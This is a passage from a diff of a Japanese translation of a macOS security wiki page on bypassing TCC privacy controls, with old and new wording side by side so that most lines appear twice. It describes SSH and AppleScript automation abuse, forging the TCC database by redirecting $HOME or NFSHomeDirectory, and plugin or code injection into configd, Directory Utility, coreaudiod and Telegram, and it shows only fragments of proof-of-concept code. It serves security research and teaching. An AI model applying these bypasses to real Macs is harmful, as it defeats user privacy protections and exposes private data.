username@hostname ~ % cat Desktop/lalala
asd
```
**新しいファイル**には、**作成者のアプリ**が読み取りアクセスを持つために、**拡張属性`com.apple.macl`**が追加されます。
**新しいファイル**には、**拡張属性`com.apple.macl`**が追加され、**作成者のアプリ**が読み取りアクセスを持つようになります。
### SSHバイパス
デフォルトでは、**SSH経由でのアクセスは「フルディスクアクセス」**を持っていました。これを無効にするには、リストに表示されているが無効になっている必要があります(リストから削除してもこれらの特権は削除されません):
デフォルトでは、**SSH経由でのアクセスは「フルディスクアクセス」**を持っていました。これを無効にするには、リストに表示されているが無効になっている状態にする必要があります(リストから削除してもこれらの特権は削除されません):
![](<../../../../../.gitbook/assets/image (569).png>)
@ -54,7 +54,7 @@ SSHを有効にするには、現在は**フルディスクアクセス**が必
**iMovie**と**Garageband**にはこの権限と他の権限がありました。
の権限からiCloudトークンを取得するためのエクスプロイトについての詳細については、次のトークを参照してください[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
の権限からiCloudトークンを取得するためのエクスプロイトについての詳細については、次のトークを参照してください[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automation
@ -72,7 +72,7 @@ Appleスクリプトについての詳細は次を参照してください
#### iTerm上で
FDAを持たないTerminalは、FDAを持つiTermを呼び出して、それを使用してアクションを実行できます
FDAを持たないTerminalは、FDAを持つiTermを呼び出して、それを使用してアクションを実行することができます:
{% code title="iterm.script" %}
```applescript
@ -109,7 +109,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
ユーザーランドの**tccdデーモン**は、TCCユーザーデータベースにアクセスするために**`HOME`**環境変数を使用しています。データベースの場所は**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**です。
[このStack Exchangeの投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)によると、TCCデーモンは現在のユーザーのドメイン内で`launchd`を介して実行されているため、それに渡される**すべての環境変数を制御することが可能**です。\
したがって、**攻撃者は`launchctl`**で**`$HOME`環境変数**を**制御されたディレクトリ**を指すように設定し、**TCC**デーモンを**再起動**し、その後、エンドユーザーにプロンプトを表示せずに**TCCデータベースを直接変更**して、**利用可能なすべてのTCC権限を自分自身に与える**ことができます。\
したがって、**攻撃者は`launchctl`**で**`$HOME`環境変数**を**制御されたディレクトリ**を指すように設定し、**TCC**デーモンを**再起動**し、その後、TCCデータベースを**直接変更**して、エンドユーザーにプロンプトを表示せずに**利用可能なすべてのTCC権限を自分自身に与える**ことができます。\
PoC:
```bash
# reset database just in case (no cheating!)
@ -179,7 +179,7 @@ rootとしてこのサービスを有効にすると、**ARDエージェント
## **NFSHomeDirectory**による
TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して、ユーザー固有のリソースへのアクセスを制御します。データベースの場所は**$HOME/Library/Application Support/com.apple.TCC/TCC.db**です。\
したがって、ユーザーが$HOME環境変数を**異なるフォルダ**を指すように設定してTCCを再起動できれば、ユーザーは**/Library/Application Support/com.apple.TCC/TCC.db**に新しいTCCデータベースを作成し、TCCに任意のTCC許可を与えることができます。
したがって、ユーザーが$HOME環境変数を**異なるフォルダ**を指すように設定してTCCを再起動できれば、ユーザーは**/Library/Application Support/com.apple.TCC/TCC.db**に新しいTCCデータベースを作成し、TCCに任意のTCC許可を任意のアプリに与えるようにトリックをかけることができます。
{% hint style="success" %}
Appleは、ユーザープロファイル内の**`NFSHomeDirectory`**属性に格納された設定を**`$HOME`の値**として使用しているため、この値(`kTCCServiceSystemPolicySysAdminFiles`を変更する権限を持つアプリケーションを侵害する場合、このオプションをTCCバイパスとして**武器化**することができます。
@ -200,8 +200,8 @@ Appleは、ユーザープロファイル内の**`NFSHomeDirectory`**属性に
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して変更されたディレクトリサービスエントリをインポートします。
6. ユーザーの_tccd_を停止し、プロセスを再起動します。
2番目のPOCでは、**`/usr/libexec/configd`**が**`com.apple.private.tcc.allow`**という値**`kTCCServiceSystemPolicySysAdminFiles`**を持っていました。\
**`configd`**を**`-t`**オプションで実行することきるため、攻撃者は**カスタムバンドルをロード**することができました。したがって、このエクスプロイトは、ユーザーのホームディレクトリを変更する**`dsexport`**と**`dsimport`**の方法を**`configd`コードインジェクション**で置き換えます。
2番目のPOCでは、**`/usr/libexec/configd`**を使用しました。このファイルには`com.apple.private.tcc.allow`という値があり、**`kTCCServiceSystemPolicySysAdminFiles`**が設定されています。\
**`configd`**を**`-t`**オプションで実行することで、攻撃者は**カスタムバンドルをロード**することができます。したがって、このエクスプロイトでは、ユーザーのホームディレクトリを変更する**`dsexport`**と**`dsimport`**の方法を**`configd`コードインジェクション**で置き換えます。
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を参照してください。
@ -218,17 +218,17 @@ Appleは、ユーザープロファイル内の**`NFSHomeDirectory`**属性に
### CVE-2020-27937 - Directory Utility
アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、エンタイトルメント**`kTCCServiceSystemPolicySysAdminFiles`**を持ち、**`.daplug`**拡張子のプラグインをロードし、**ハードニングされていなかった**ランタイムを持っていました。
アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、エンタイトルメント**`kTCCServiceSystemPolicySysAdminFiles`**があり、**`.daplug`**拡張子のプラグインがロードされ、**ハードニングされていない**ランタイムがありました。
このCVEを武器化するために、**`NFSHomeDirectory`**が**変更**され(前述のエンタイトルメントを悪用)、TCCをバイパスするためにユーザーのTCCデータベースを**乗っ取る**ことができます。
このCVEを武器化するために、**`NFSHomeDirectory`**が**変更**されます(前述のエンタイトルメントを悪用)。これにより、ユーザーのTCCデータベースを**乗っ取る**ことができ、TCCをバイパスすることができます。
詳細については、[**元のレポート**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)を参照してください。
### CVE-2020-29621 - Coreaudiod
バイナリ**`/usr/sbin/coreaudiod`**は、エンタイトルメント`com.apple.security.cs.disable-library-validation`と`com.apple.private.tcc.manager`を持っていました。最初のエンタイトルメントは**コードインジェクションを許可**し、2番目のエンタイトルメントは**TCCの管理権限**を与えています。
バイナリ**`/usr/sbin/coreaudiod`**は、エンタイトルメント`com.apple.security.cs.disable-library-validation`と`com.apple.private.tcc.manager`があります。最初のエンタイトルメントは**コードインジェクションを許可**し、2番目のエンタイトルメントは**TCCの管理権限**を与えます。
このバイナリは、フォルダー`/Library/Audio/Plug-Ins/HAL`から**サードパーティのプラグイン**をロードすることができました。したがって、このPoCでは、**プラグインをロードし、TCCの許可を悪用**することができました。
このバイナリは、フォルダー`/Library/Audio/Plug-Ins/HAL`から**サードパーティのプラグイン**をロードすることができま。したがって、このPoCでは、**プラグインをロードし、TCCの許可を悪用**することができました。
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
@ -299,11 +299,11 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
### CVE-2023-26818 - Telegram
Telegram には、`com.apple.security.cs.allow-dyld-environment-variables` と `com.apple.security.cs.disable-library-validation` の権限があり、カメラでの録画などの権限にアクセスすることができました。[**writeup でペイロードを見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
Telegram には、`com.apple.security.cs.allow-dyld-environment-variables` と `com.apple.security.cs.disable-library-validation` の権限があり、カメラでの録画などのパーミッションにアクセスすることができました。[**writeup でペイロードを見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
## オープンな呼び出しによる方法
サンドボックス化された状態でも `open` を呼び出すことができます。
サンドボックス化された状態でも **`open`** を呼び出すことができます。
### ターミナルスクリプト